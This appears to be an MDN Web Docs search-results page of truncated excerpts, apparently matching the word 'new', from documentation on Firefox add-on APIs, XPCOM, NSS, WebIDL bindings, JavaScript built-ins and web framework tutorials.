...ab) { console.log(tab.url + " is deactivated"); } function logclose(tab) { console.log(tab.url + " is closed"); } tabs.on('open', onopen); manipulate a tab you can get and set various properties of tabs (but note that properties relating to the tab's content, such as the url, will not contain valid values until after the tab's ready event fires). ...
... you can't attach style sheets to a tab using tab.attach(), but from firefox 34 onwards you can attach and detach them using the low-level stylesheet/style and content/mod apis. here's an add-on that uses a toggle button to attach a stylesheet to the active ta...
...And 12 more matches
Bookmarks - Archive of obsolete content
firefox 2 and earlier creating a
new bookmark var win = mybrowser.contentwindow; // get the bookmarks service const bmsvc = components.classes["@mozilla.org/browser/bookmarks-service;1"] .getservice(components.interfaces.nsibookmarksservice); // create the bookmark bmsvc.createbookmarkincontainer(win.document.title, // bookmark name win.location.href.tostring(), // uri of the bookmark null, // shortcut win.document.title, // description win.document.characterset, // charset null, // postdata bookmarksservice.getbookmarkstoolbarfolder(), // bookmark folder ...
...ion win.document.characterset, // charset null, // postdata bookmarksservice.getbookmarkstoolbarfolder(), // bookmark folder 0); // index in the folder firefox 3 firefox 3 provides a reworked set of api for working with history and bookmarks. the documentation for the
new api is available at places. the places bookmarks service, provided by the nsinavbookmarksservice interface, provides methods for creating, deleting, and manipulating bookmarks and bookmark folders. this article offers examples for how to perform common bookmark management tasks using the bookmarks service. initiating the bookmarks service as is the case with nearly all interfaces, before you...
...k management tasks using the bookmarks service. ...
...And 12 more matches
Promises - Archive of obsolete content
return; timestamp = info.lastmodificationdate; // read the file as a utf-8 string, parse as json. let config = json.parse( yield os.file.read(configpath, { encoding: "utf-8" })); let files = []; // get the directory contents from a list of directories. for (let dir of config.directories) { // iterate over the contents of the directory. ...
...a list of directories. for (let dir of config.directories) { // iterate over the contents of the directory. let iter =
new os.file.directoryiterator(dir); yield iter.foreach(entry => { if (!entry.isdir) files.push(entry.path); }); iter.close(); } // read the files as binary blobs and process them. let processor =
new fileprocessor(); for (let file of files) { let data = yield os.file.read(file); processor.add(data); } // now write the processed files back out, as a binary blob. yield os.file.writeatomic(config.processedpath, processor.process(), { tmppath: config.processedpath + "." + math.random() }); // and wri...
...essor(); for (let file of files) { let data = yield os.file.read(file); processor.add(data); } // now write the processed files back out, as a binary blob. yield os.file.writeatomic(config.processedpath, processor.process(), { tmppath: config.processedpath + "." + math.random() }); // and write out a
new config file. config.indexstats = processor.stats; yield os.file.writeatomic(configpath, json.stringify(config), { tmppath: configpath + "." + math.random(), encoding: "utf-8" }) timestamp =
new date; }); http requests http requests should, in nearly all circumstances, be made via the standard xmlhttprequest api. while th...
...And 12 more matches
Index - Archive of obsolete content
<statusbarpanel> deprecated, xul, xul elements, xul reference an individual element of a statusbar. this is a special type of button which is drawn differently. unlike normal buttons, a statusbarpanel can only have a label or an image but not both. this element is often used with a short label or icon to indicate status, for instance whether the user is online or whether there are
new messages. 3 a xul bestiary add-ons, extensions, needstechnicalreview, xul this xulnote presents some of the key concepts and terms in the xul development environment. the purpose of this article is not to describe these items in any great detail but to define what they are in simple terms. i selected items for this group because they seemed to be either shrouded in mystery, m...
... are in simple terms. i selected items for this group because they seemed to be either shrouded in mystery, misused as concepts or terms, or underestimated according to their role in xul and cross-platform development. in contrast to the mozilla jargon file, this article describes items of specific interest to the web or content developer looking to establish a context for understanding mozilla's
new technologies -- and in particular mozilla's xml-based user interface language, xul. 4 accessibility/xul accessibility reference accessibility, xul this table is designed to show how to expose text properly for various xul element types. sections in bold are to draw attention to pieces that are often overlooked for visual layouts. underlined text may be read by the screen read...
...es, xul reference no summary! 201 movetoclick no summary! 202 multiline xul attributes, xul reference no summary! 203 multiple xul attributes, xul reference no summary! 204 name xul attributes, xul reference no summary! 205 negate xul attributes, xul reference no summary! 206
newlines xul attributes, xul reference no summary! 207 next xul attributes, xul reference no summary! 208 noautofocus xul attributes, xul reference no summary! 209 noautohide xul attributes, xul reference no summary! 210 noinitialfocus xul, xul attribute, xul reference no summary! 211 nomatch ...
...And 12 more matches
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
tion: the chrome directory contains program files that are part of seamonkey itself, together with other files that are provided by extensions. your toolbar button will be an extension. 2. delete these two files: chrome.rdf overlays.rdf explanation: seamonkey automatically rebuilds these files the next time it starts. ...
... explanation: the name is a unique identifier for your extension, and the directory will contain all your extension's files. 5. create a plain text file named contents.rdf. ...
...-chrome.txt at the end of the file, add the following line. copy and paste the line from here, to avoid typing errors: content,install,url,resource:/chrome/custombutton/ explanation: this line registers your custom toolbar button extension, linking it into seamonkey. 4. create a
new directory named: custombutton perform the following steps in this
new directory, creating five files there. ...
...And 12 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
as requested a resource controlled by the server. the server requires client authentication before permitting access to the requested resource. these are the steps shown in figure 4: in response to an authentication request from the server, the client displays a dialog box requesting the user's name and password for that server. the user must supply a name and password separately for each
new server the user wishes to use during a work session. the client sends the name and password across the network, either in the clear or over an encrypted ssl connection. the server looks up the name and password in its local password database and, if they match, accepts them as evidence authenticating the user's identity. the server determines whether the identified user is permitted to access ...
...either in the clear or over an encrypted ssl connection. the server looks up the name and password in its local password database and, if they match, accepts them as evidence authenticating the user's identity. the server determines whether the identified user is permitted to access the requested resource, and if so allows the client to access it. with this arrangement, the user must supply a
new password for each server, and the administrator must keep track of the name and password for each user, typically on separate servers. proper implementation does not store passwords in plaintext. instead it concatenates the password with a random per-user value (so called "salt") and stores the hash value of the result along with the salt. this makes certain kinds of brute-force atacks more diff...
...ce the authentication portion of the interaction between the client and the server. instead of requiring a user to send passwords across the network throughout the day, single sign-on requires the user to enter the private-key database password just once, without sending it across the network. for the rest of the session, the client presents the user's certificate to authenticate the user to each
new server it encounters. existing authorization mechanisms based on the authenticated user identity are not affected. uses for certificates certificates have a purpose: to establish trust. their usage varies depending on the kind of trust they are used to ensure. some kinds of certificates are used to verify the identity of the presenter; others are used to verify that an object or item has not be...
...And 12 more matches
LiveConnect Overview - Archive of obsolete content
e converts argument values into the appropriate data types for the other language when you use liveconnect. see data type conversion for complete information. in some ways, the existence of the liveconnect objects is transparent, because you interact with java in a fairly intuitive way. for example, you can create a java string object and assign it to the javascript variable mystring by using the
new operator with the java constructor, as follows: var mystring =
new java.lang.string("hello world"); in the previous example, the variable mystring is a javaobject because it holds an instance of the java object string. as a javaobject, mystring has access to the public instance methods of java.lang.string and its superclass, java.lang.object. these java methods are available in javascript as met...
.../alerts 2147483647 the packages object if a java class is not part of the java, sun, or netscape packages, you access it with the packages object. for example, suppose the redwood corporation uses a java package called redwood to contain various java classes that it implements. to create an instance of the helloworld class in redwood, you access the constructor of the class as follows: var red =
new packages.redwood.helloworld(); you can also access classes in the default package (that is, classes that don't explicitly name a package). for example, if the helloworld class is directly in the classpath and not in a package, you can access it as follows: var red =
new packages.helloworld(); the liveconnect java, sun, and netscape objects provide shortcuts for commonly used java packages. for ...
...s classes in the default package (that is, classes that don't explicitly name a package). for example, if the helloworld class is directly in the classpath and not in a package, you can access it as follows: var red =
new packages.helloworld(); the liveconnect java, sun, and netscape objects provide shortcuts for commonly used java packages. ...
...And 12 more matches
Object-oriented JavaScript for beginners - Learn web development
n object instance is created from a class, the class's constructor function is run to create it. this process of creating an object instance from a class is called instantiation — the object instance is instantiated from the class. specialist classes in this case we don't want generic people — we want teachers and students, which are both more specific types of people. in oop, we can create
new classes based on other classes — these
new child classes can be made to inherit the data and code features of their parent class, so you can reuse functionality common to all the object types rather than having to duplicate it. where functionality differs between classes, you can define specialized features directly on them as needed. this is really useful — teachers and students share ma...
...are useful because you'll often come across situations in which you don't know how many objects you will be creating; constructors provide the means to create as many objects as you need in an effective way, attaching data and functions to them as required. let's explore creating classes via constructors and creating object instances from them in javascript. ...
...o them as required. let's explore creating classes via constructors and creating object instances from them in javascript. first of all, we'd like you to make a
new local copy of the oojs.html file we saw in our first objects article. a simple example let's start by looking at how you could define a person with a normal function. ...
...And 12 more matches
React interactivity: Editing, filtering, conditional rendering - Learn web development
endering in react, and implementing list filtering and an editing ui in our app. editing the name of a task we don’t have a user interface for editing the name of a task yet. we'll get to that in a moment. to start with, we can at least implement an edittask() function in app.js. ...
...ting the name of a task yet. we'll get to that in a moment. to start with, we can at least implement an edittask() function in app.js. it’ll be similar to deletetask() because it'll take an id to find its target object, but it'll also take a
newname property containing the name to update the task to. we'll use array.prototype.map() instead of array.prototype.filter() because we want to return a
new array with some changes, instead of deleting something from the array. ...
...o find its target object, but it'll also take a
newname property containing the name to update the task to. we'll use array.prototype.map() instead of array.prototype.filter() because we want to return a
new array with some changes, instead of deleting something from the array. ...
...And 12 more matches
Mozilla accessibility architecture
for example, nshtmltablecellframe::getaccessible() will eventually call nsiaccessibilityservice::createhtmltablecellaccessible(), which use...
...accessible::getcachedaccessnode() and returns if successful, or → nsiaccessibleprovider::getaccessible() (if xul) or → nsiframe::getaccessible() (if html), which either return nothing or → nsiaccessibilityservice::create[inserttypenamehere]accessible() → operator
new, which finally constructs the object. ...
...hich finally constructs the object. whether via nsiaccessibleprovider::getaccessible() or nsiframe::getaccessible(),
new accessibles are created by calling back to the accessibility service, and using a specific method for creating each type of accessible. for example, nshtmltablecellframe::getaccessible() will eventually call nsiaccessibilityservice::createhtmltablecellaccessible(), which uses |
new nshtmltablecellaccessible(domnode, weakpresshell); special exception: traversal overloading in some cases the necessary accessible children are not in the dom subtree for a node. this is the case for: nshtmlimageaccessible: in msaa an image accessible can have accessible children if it has an image map. the children are the image map areas, which are in a different part of the dom tree. nsht...
...And 12 more matches
Localizing with Koala
search engines... there is also a tooltip that appears when you hover over the magnifying glass icon on the right side of the bar. requirements mercurial, linux, windows or mac os x. instructions preparation install komodo edit. install koala extension. go to tools > add-ons. search for "koala". click add to komodo edit... restart komodo when the installation is complete. you should see a
new button in komodo's toolbar, with two options: startpage and management. before you can use them, you need to create a
new koala project. creating a
new project create a
new koala project by going to file >
new >
new project from template... choose "koala" in the categories list. choose "koala" in the templates list. choose a name for your project (e.g. l10n.kpf). choose the directory in wh...
...ercurial" if you wish to use mercurial to keep the revision history of your files (very recommended) existing localizations: url: if you're editing an existing localization or you already have a repository set up (either on hg.mozilla.org or bitbucket), type the url of the remote repository, e.g. http://bitbucket.org/mozillal10n/x-testing or http://hg.mozilla.org/releases/l10n-....9.2/x-testing.
new localizations: url: if you already have a repository set up by l10n-drivers (on bitbucket), type the url of the remote repository, e.g. http://bitbucket.org/mozillal10n/x-testing. if you're starting a
new localization, you may not have a remote repository set up yet. it is still recommended to use mercurial locally to version your local files. just type a single dot (".") in the url field to e...
... the form: "firstname lastname <me@example.com>" (be sure to type the wrapping quotes: "") note that you no longer have to edit the location now, it automatically fills in when you check the "mercurial" checkbox (e.g. "c:\mozilla\l10n\locale\x-testing\3.6" if you enabled mercurial (recommended), koala will ask you if you wish to clone the remote repository. click "ok" (even if you're creating a
new localization and there is no remote repository). existing localizations: if koala fails to clone the remote repository, you will need to do it manually. just open the console and issue the following commands: c:\users\stas> cd c:\mozilla\l10n\locale\x-testing c:\mozilla\l10n\locale\x-testing> rmdir 3.6 c:\mozilla\l10n\locale\x-testing> hg clone http://hg.mozilla.org/releases/l10n-mozilla-1.9.2/x...
...And 12 more matches
NSS functions
ssl functions the public functions listed here are used to configure sockets for communication via the ssl and tls protocols. ...
... ssl functions the public functions listed here are used to configure sockets for communication via the ssl and tls protocols. ...
...each function name is linked to its entry in the old ssl reference. the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definitio...
...And 12 more matches
Shell global objects
if the property is omitted or v is null, don't attribute the source to ...
...if the property is omitted or v is null, don't attribute the source to any dom element. elementattributename...
...e from stdin. readlinebuf([ buf ]) emulate readline() on the specified string. the first call with a string argument sets the source buffer. subsequent calls without an argument then read from this buffer line by line. print([exp ...]) evaluate and print expressions to stdout. printerr([exp ...]) evaluate and print expressions to stderr. putstr([exp]) evaluate and print expression without
newline. datenow() return the current time with sub-ms precision. help([name ...]) display usage and help messages. quit() quit the shell. asserteq(actual, expected[, msg]) throw if the first two arguments are not the same (both +0 or both -0, both nan, or non-zero and ===). starttimingmutator() start accounting time to mutator vs gc. stoptimingmutator() stop accounting time to mutator vs...
...And 12 more matches
XPCOM array guide
bout the current position in the array. enumerators are used to access the elements in an ordered way, without relying on the underlying array type. these enumerators include: nsisimpleenumerator - an enumerator for com objects. nsistringenumerator / nsiutf8stringenumerator - enumerators for strings obsolete arrays / enumerators there are some deprecated classes which should not be used by
new code. nsisupportsarray - obsoleted by nsiarray and nsimutablearray, use those instead. nsienumerator - obsoleted by nsisimpleenumerator, use that instead. nsibidirectionalenumerator - obsoleted by nsisimpleenumerator, use that instead. which array should i use? do not use nsisupportsarray; it is deprecated. does your array need to be scriptable? if so, use nsiarray. example: an ar...
... *elements->removeelementat(...
...y modify void tweakarray(nsimutablearray* elements) { elements->removeelementat(0); elements->appendelement(
newelement, pr_false); } while it is usually possible to call queryinterface on an nsiarray to get access to the nsimutablearray interface, this is against convention and it should be avoided. // no need for the double-pointer, and this violates xpcom rules // which expect acess to a
new object void tweakarray(nsimutablearray** elements) { // ugh, extra indirection! *elements->removeelementat(0); *elements->appendelement(
newelement, pr_false); } in-place enumeration when accessing all members of an nsiarray, in-place enumeration is preferred over indexed access. however, i seem to have forgotten to implement that. good thing the interface is under review. sorry! enumera...
...And 12 more matches
nsITextInputProcessor
{ key: "enter", // required. code: "enter", // optional. keycode: keyboardevent.dom_vk_return, // required if printable key, but optional if non-printable key. location: keyboardevent.dom_vk_standard, // optional, may be computed from code...
...e key, but optional if non-printable key. location: keyboardevent.dom_vk_standard, // optional, may be computed from code attribute value. repeat: false, // optional. }); // the other attributes are always ignored. var dodefault = tip.keydown(keyevent); when you dispatch keyup event, just do this: var keyevent =
new keyboardevent("", { key: "a", code: "keya", keycode: keyboardevent.dom_vk_a }); var dodefault = tip.keyup(keyevent); startcomposition(), flushpendingcomposition(), commitcomposition(), commitcompositionwith(), and cancelcomposition() can take a keyboardevent which causes modifying the composition state. specifying a keyboard event is strongly recommended if the textinputprocessor emulates inpu...
...ng the composition state. specifying a keyboard event is strongly recommended if the textinputprocessor emulates input from keyboard. for example: tip.setpendingcompositionstring("a"); tip.appendclausetopendingcomposition("a".length, tip.attr_raw_clause); tip.setcaretposition("a".length); // this means that the first composition character is inputted by a keypress of "a" key. ...
...And 12 more matches
RTCPeerConnection - Web APIs
eight="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="236" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">rtcpeerconnection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructorrtcpeerconnection() the rtcpeerconnection() constructor returns a
newly-created rtcpeerconnection, which represents a connection between the local device and a remote peer.propertiesalso inherits properties from: eventtargetcantrickleicecandidatesthe read-only rtcpeerconnection property cantrickleicecandidates returns a boolean which indicates whether or not the remote peer can accept trickled ice candidates.connectionstate the read-only connectionstate property o...
...instead of using this obsolete method, you should instead use addtrack() once for each track you wis...
...instead of using this obsolete method, you should instead use addtrack() once for each track you wish to send to the remote peer.addtrack()the rtcpeerconnection method addtrack() adds...
...And 12 more matches
Using XMLHttpRequest - Web APIs
a server. examples of both common and more obscure use cases for xmlhttprequest are included. to send an http request, create an xmlhttprequest object, open a url, and send the request. after the transaction completes, the object will contain useful information such as the response body and the http status of the result. function reqlistener () { console.log(this.responsetext); } var oreq =
new xmlhttprequest(); oreq.addeventlistener("load", reqlistener); oreq.open("get", "http://www.example.org/example.txt"); oreq.send(); types of requests a request made via xmlhttprequest can fetch the data in one of two ways, asynchronously or synchronously. the type of request is dictated by the optional async argument (the third argument) that is set on the xmlhttprequest.open() method. if this a...
...kely fail. handling binary data although xmlhttprequest is most commonly used to send and receive textual data, it can be used to send and receive binary content. there are several well tested methods for coercing the response of an xmlhttprequest into sending binary data. these involve utilizing the overridemimetype() method on the xmlhttprequest object and is a workable solution. var oreq =
new xmlhttprequest(); oreq.open("get", url); // retrieve data unprocessed as a binary string oreq.overridemimetype("text/plain; charset=x-user-defined"); /* ... */ however, more modern techniques are available, since the responsetype attribute now supports a number of additional content types, which makes sending and receiving binary data much easier. for example, consider this snippet, which uses...
...ser-defined"); /* ... */ however, more modern techniques are available, since the responsetype attribute now supports a number of additional content types, which makes sending and receiving binary data much easier. for example, consider this snippet, which uses the responsetype of "arraybuffer" to fetch the remote content into a arraybuffer object, which stores the raw binary data. var oreq =
new xmlhttprequest(); oreq.onload = function(e) { var arraybuffer = oreq.response; // not responsetext /* ... */ } oreq.open("get", url); oreq.responsetype = "arraybuffer"; oreq.send(); for more examples check out the sending and receiving binary data page monitoring progress xmlhttprequest provides the ability to listen to various events that can occur while the request is being processed. t...
...And 12 more matches
Functions - JavaScript
ript guide about functions. description every function in javascript is a function object. see function for information on properties and methods of function objects. to return a value other than the default, a function must have a return statement that specifies the value to return. a function without a return statement will return a default value. in the case of a constructor called with the
new keyword, the default value is the value of its this parameter. for all other functions, the default return value is undefined. the parameters of a function call are the function's arguments. arguments are passed to functions by value. if the function changes the value of an argument, this change is not reflected globally or in the calling function. however, object references are values, too, and...
... globally or in the calling function. however, object references are values, too, and they are special: if the function changes the referred object's properties, that change is visible outside the function, as shown in the following example: /* declare the function 'myfunc' */ function myfunc(theobject) { theobject.brand = "toyota"; } /* * declare variable 'mycar'; * create and initialize a
new object; * assign reference to it to 'mycar' */ var mycar = { brand: "honda", model: "accord", year: 1998 }; /* logs 'honda' */ console.log(mycar.brand); /* pass object reference to the function */ myfunc(mycar); /* * logs 'toyota' as the value of the 'brand' property * of the object, as changed to by the function. */ console.log(mycar.brand); the this keyword does not refer to the...
...le expression requires no brackets. the expression is also the implicit return value of the function. the function constructor note: using the function constructor to create functions is not recommended since it needs the function body as a string which may prevent some js engine optimizations and can also cause other problems. ...
...And 12 more matches
BigInt64Array - JavaScript
bigint64array typed array represents an array of 64-bit signed integers in the platform byte order. if control over byte order is needed, use dataview instead. the contents are initialized to 0n. once established, you can reference elements in the array using the object's methods, or by using standard array index syntax (that is, using bracket notation). ...
...see also array.of(). instance properties bigint64array.prototype.buffer returns the arraybuffer referenced by the bigint64array. ...
...see also array.of(). ...
...And 12 more matches
BigUint64Array - JavaScript
int64array typed array represents an array of 64-bit unsigned integers in the platform byte order. if control over byte order is needed, use dataview instead. the contents are initialized to 0n. once established, you can reference elements in the array using the object's methods, or by using standard array index syntax (that is, using bracket notation). ...
...see also array.of(). instance properties biguint64array.prototype.buffer returns the arraybuffer referenced by the biguint64array. ...
...see also array.of(). ...
...And 12 more matches
Promise - JavaScript
o hear the term resolved used with promises — this means that the promise is settled or “locked in” to match the state of another promise. states and fates contains more details about promise terminology. chained promises the methods promise.then(), promise.catch(), and promise.finally() are used to associate further action with a promise that becomes settled. ...
...of another promise. states and fates contains more details about promise terminology. chained promises the methods promise.then(), promise.catch(), and promise.finally() are used to associate further action with a promise that becomes settled. ...
...sometimes there is no choice, because an error must be handled immediately. ...
...And 12 more matches
Uint8Array - JavaScript
the uint8array typed array represents an array of 8-bit unsigned integers. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). constructor uint8array() creates a
new uint8array object. static properties uint8array.bytes_per_element returns a number value of the element size. 1 in the case of an uint8array. uint8array.name returns the string value of the constructor name. in the case of the uint8array type: "uint8array". static methods uint8array.from() creates a
new uint8array from an array-like or iterable object. see also array.from(). uint8array.of() creates a
new uint8array with a variable number of arguments. see also array.of(...
...e start of its arraybuffer. fixed at construction time and thus read only. uint8array.prototype.length returns the number of elements held in the uint8array. fixed at construction time and thus read only. instance methods uint8array.prototype.copywithin() copies a sequence of array elements within the array. see also array.prototype.copywithin(). uint8array.prototype.entries() returns a
new array iterator object that contains the key/value pairs for each index in the array. see also array.prototype.entries(). uint8array.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). uint8array.prototype.fill() fills all the elements of an array from a start index to an end index with a static value. see also array...
...each index in the array. see also array.prototype.entries(). uint8array.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). uint8array.prototype.fill() fills all the elements of an array from a start index to an end index with a static value. see also array.prototype.fill(). uint8array.prototype.filter() creates a
new array with all of the elements of this array for which the provided filtering function returns true. see also array.prototype.filter(). uint8array.prototype.find() returns the found value in the array, if an element in the array satisfies the provided testing function or undefined if not found. see also array.prototype.find(). uint8array.prototype.findindex() returns the found index in the ar...
...And 12 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
the chrome.manifest for your add-on and load your own jsm from resource:// uris. it's a great way to modularize your code that's been available since firefox 3. you can use chrome:// uris with "components.utils.import()" just fine; in fact you've been able to since firefox 4. however, because it was implemented first for only file:// and resource:// but not chrome://, everyone who learned of this
new feature learned that you had to load jsm from resource:// uris and just stuck with that forever. it does still work if you don't have restartlessness to worry about, though the protocol (or scheme, or whatever term you prefer) really should be avoided at this point. the resource:// protocol actually bleeds into content which allows webpages to detect installed add-ons using the protocol, which is...
...s using the protocol, which is not particularly fantastic (just the static file contents, not any loaded script/data). step 2a: load your jsm from chrome:// now with that preface out of the way, this part is easy: drop support for firefox 3.x if you haven't already, move your jsm files to wherever you've got your chrome mapping to for your xul overlay and/or windows, import your files from that
new chrome mapped path instead of the old resource one, and remove your "resource" line from your chrome.manifest file. it's probably a good idea to do this even if you aren't going fully restartless / extractionless due to the previously mentioned exposure to content of resource mappings. also, drop support for firefox 4 through 9 while you're at it. prior to firefox 10, the chrome.manifest file yo...
... what will be your bootstrap.js file (see below). ...
...And 11 more matches
Componentizing our Svelte app - Learn web development
r code easier to reason about, maintain, and extend. but how do you know what should be split into its own component? there are no hard rules for this. some people prefer an intuitive approach and start looking at the markup and drawing boxes around every component and subcomponent that seems to have its own logic. other people apply the same techniques used for deciding if you should create a
new function or object. one such technique is the single responsibility principle — that is, a component should ideally only do one thing. if it ends up growing, it should be split into smaller subcomponents. both approaches should complement each other, and help you decide how to better organize your components. eventually, we will split up our app into the following components: alert.svelte:...
...ple — that is, a component should ideally only do one thing. if it ends up growing, it should be split into smaller subcomponents. both approaches should complement each other, and help you decide how to better organize your components. eventually, we will split up our app into the following components: alert.svelte: a general notification box for communicating actions that have occurred.
newtodo.svelte: the text input and button that allow you to enter a
new todo item. filterbutton.svelte: the all, active, and completed buttons that allow you to apply filters to the displayed todo items. todosstatus.svelte: the "x out of y items completed" heading. todo.svelte: an individual todo item. each visible todo item will be displayed in a separate copy of this component. moreactions.svel...
...on creating the filterbutton and todo components; we'll get to the others in future articles. let's get started. note: in the process of creating our first couple of components, we will also learn different techniques to communicate between components, and the pros and cons of each. extracting our filter component we'll begin by creating our filterbutton.svelte. first of all, create a
new file — components/filterbutton.svelte. inside this file we will declare a filter prop, and then copy the relevant markup over to it from todos.svelte. add the following content into the file: <script> export let filter = 'all' </script> <div class="filters btn-group stack-exception"> <button class="btn toggle-btn" class:btn__primary={filter === 'all'} aria-pressed={filter === 'all...
...And 11 more matches
Application Translation with Mercurial
a-* denotes branches of firefox os, the operating system for mobile devices. firefox and fx-* denote branches of firefox for desktop, the browser for desktops and notebooks running, windows, mac os or linux. fennec and fennec-* denote branches of firefox for mobile, the firefox browser for the android operating system. thunderbird and tb-* denote branches of thunderbird, the mail client,
newsgroup and feed reader and chat client. the localization of the lightning calendar add-on also takes place on these branches. seamonkey and sea-* denote branches of seamonkey, the suite consisting of browser, mail and chat client and more. lightning and cal-* denote branches of lightning, the calendar add-on for thunderbird. the localization of lightning now happens on thunderbird's tb-* bra...
...requisites first, get the required programs to compile mozilla applications like firefox and thunderbird from build instructions. this is only necessary once. mozillabuild must be installed into an absolute file path without whitespaces, else it will break. ...
...ications like firefox and thunderbird from build instructions. this is only necessary once. mozillabuild must be installed into an absolute file path without whitespaces, else it will break. file comparison program for the translation, it is recommend to use file comparison program to compare the english file (containing the
new texts) with the file of your locale (which is still missing the
new strings). this example uses winmerge: download and install it. ...
...And 11 more matches
Python binding for NSS
rce download area source downloads are maintained here. links to download url for a specific release can be found in the release information section. mozilla source code management (scm) information on march 21, 2013 the nss project switched from using cvs as it's source code manager (scm) to mercurial, also known as hg. all prior cvs information (including release tags) were imported into the
new mercurial repositories, as such there is no need to utilize the deprecated cvs repositories, use mercurial instead. to check out python-nss source code from mercurial do this: hg clone https://hg.mozilla.org/projects/python-nss the scm tags for various python-nss releases can be found in the release information. you may want to review the getting mozilla source code using mercurial documenta...
...et and then the remaining data is sent normally, this is known as 1/n-1 record splitting. the example and test ssl code sent short messages and then did a sock.recv(1024). we had always received the entire message in one sock.recv() call because it was so short. but sock.recv() does not guarantee how much data will be received, thus this was a coding mistake. ...
...ke. the solution is straight forward, use
newlines as a record separator and call sock.readline() instead of sock.recv(). sock.readline() calls sock.recv() internally until a complete line is read or the socket is closed. rewrite setup_certs.py, it was written like an expect script reacting to prompts read from a pseudo terminal but it was fragile and would hang on some systems.
new version uses temporary password file and writes hardcoded responses to the stdin of certuil and modutil. setup_certs now creates a
new sql sytle nss database (sql:pki) all tests and examples now load the sql:pki database. command line arg and variable changed from dbdir to db_name to reflect the database specification is no longer just a directory. ...
...And 11 more matches
nsINavBookmarkObserver
lete since gecko 21.0 void onbeginupdatebatch(); void onendupdatebatch(); void onfolderadded(in print64 folder, in print64 parent, in print32 index); obsolete since gecko 1.9 void onfolderchanged(in print64 folder, in acstring property); obsolete since gecko 1.9 void onfoldermoved(in print64 folder, in print64 oldparent, in print32 oldindex, in print64
newparent, in print32
newindex); obsolete since gecko 1.9 void onfolderremoved(in print64 folder, in print64 parent, in print32 index); obsolete since gecko 1.9 void onitemadded(in long long aitemid, in long long aparentid, in long aindex, in unsigned short aitemtype, in nsiuri auri, in autf8string atitle, in prtime adateadded, in acstring aguid, in acstring aparentguid); v...
...4 parent, in print32 index); obsolete since gecko 1.9 void onitemadded(in long long aitemid, in long long aparentid, in long aindex, in unsigned short aitemtype, in nsiuri auri, in autf8string atitle, in prtime adateadded, in acstring aguid, in acstring aparentguid); void onitemchanged(in long long aitemid, in acstring aproperty, in boolean aisannotationproperty, in autf8string a
newvalue, in prtime alastmodified, in unsigned short aitemtype, in long long aparentid, in acstring aguid, in acstring aparentguid); void onitemmoved(in long long aitemid, in long long aoldparentid, in long aoldindex, in long long a
newparentid, in long a
newindex, in unsigned short aitemtype, in acstring aguid, in acstring aoldparentguid, in acstring a
newparentguid); void onitemremo...
...g long a
newparentid, in long a
newindex, in unsigned short aitemtype, in acstring aguid, in acstring aoldparentguid, in acstring a
newparentguid); void onitemremoved(in long long aitemid, in long long aparentid, in long aindex, in unsigned short aitemtype, in nsiuri auri, in acstring aguid, in acstring aparentguid); void onitemreplaced(in print64 folder, in nsiuri item, in nsiuri
newitem); obsolete since gecko 1.9 void onitemvisited(in long long aitemid, in long long avisitid, in prtime atime, in unsigned long atransitiontype, in nsiuri auri, in long long aparentid, in acstring aguid, in acstring aparentguid); void onseparatoradded(in print64 parent, in print32 index); obsolete since gecko 1.9 void onseparatorremoved(in print64 parent, in print32 in...
...And 11 more matches
Using the Multiple Accounts API
warning: the content of this article may be out of date. it was imported from mozilla.org and last updated in 2003. by alec flett alecf@flett.org structure servers identities storage creating
new accounts smtp servers appendix a: listing of all preferences and properties structure the account system consists of: the account manager (nsimsgaccountmanager): there is a single account manager in the the client, which maintains the list of accounts, servers, etc. it is also responsible for the creation of any
new account-related objects. the account manager maintains the main list of accounts. accounts (nsimsgaccount): an account consists of a single incoming server, and one or more identities. an account is merely a container to bind incoming servers ...
... a common setup. ...
... (you may have noticed that identities 2 and 3 are shared between a few accounts...more on that later) servers servers ar...
...And 11 more matches
WebIDL bindings
for indexed and named setters/creators/deleters. the webidl bindings are generated at build time based on two things: the actual webidl file and a configuration file that lists some metadata about how the webidl should be reflected into gecko-internal code. all webidl files should be placed in dom/webidl and added to the list in the moz.build file in that directory. note that if you're adding
new interfaces, then the test at dom/tests/mochitest/general/test_interfaces.html will most likely fail. this is a signal that you need to get a review from a dom peer. resist the urge to just add your interfaces to the moz.build list without the review; it will just annoy the dom peers and they'll make you get the review anyway. the configuration file, dom/bindings/bindings.conf, is basically a pyt...
...any annotations, then you don't need to add an entry either and the code generator will simply assume the defaults here. note that using a 'headerfile' annotation is generally not recommended. if you do use it, you will need to make sure your header includes all the headers needed for your func annotations. add external interface entries to bindings.conf for whatever non-webidl interfaces your
new interface has as arguments or return values. implement a wrapobject override on mozilla::dom::myinterface that just calls through to mozilla::dom::myinterface_binding::wrap. note that if your c++ type is implementing multiple distinct web idl interfaces, you need to choose which mozilla::dom::myinterface_binding::wrap to call here. see audiocontext::wrapobject, for example. expose whatever met...
...lass that inherits from nsisupports and has a wrapper cache. see this sample patch that migrates window.performance.* to webidl bindings. note: if your object can only be reflected into js by creating it, not by retrieving it from somewhere, you can skip steps 1 and 2 above and instead add 'wrappercache': false to your descriptor. you will need to flag the functions that return your object as [
newobject] in the webidl. if your object is not refcounted then the return value of functions that return it should return an nsautoptr. c++ reflections of webidl constructs c++ reflections of webidl operations (methods) a webidl operation is turned into a method call on the underlying c++ object. the return type and argument types are determined as described below. in addition to those, all met...
...And 11 more matches
Working with data
creating cdata objects data types for use with js-ctypes are represented by ctype objects. these are javascript constructors; as such, they're callable functions that you can use to create
new cdata objects of that type. there are several ways you can go about creating
new cdata objects. creating uninitialized cdata objects there are three forms of the syntax for creating cdata objects without immediately assigning them a value: var mycdataobj =
new type; var mycdataobj =
new type(); var mycdataobj = type(); these all do the same thing: they return a
new cdata object of the specified type, whose data buffer has been populated entirely with zeroes. note: if type.size is undefined, creating a
new object this way will throw a typeerror exception. creating initialized cdata objects s...
...pecified type, whose data buffer has been populated entirely with zeroes. note: if type.size is undefined, creating a
